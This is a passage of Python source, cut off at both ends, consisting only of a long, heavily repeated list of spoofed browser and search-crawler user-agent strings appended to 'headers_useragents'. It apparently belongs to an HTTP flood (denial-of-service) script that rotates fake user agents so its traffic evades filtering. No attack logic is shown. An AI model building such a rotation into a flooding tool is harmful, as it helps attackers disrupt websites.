(Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; 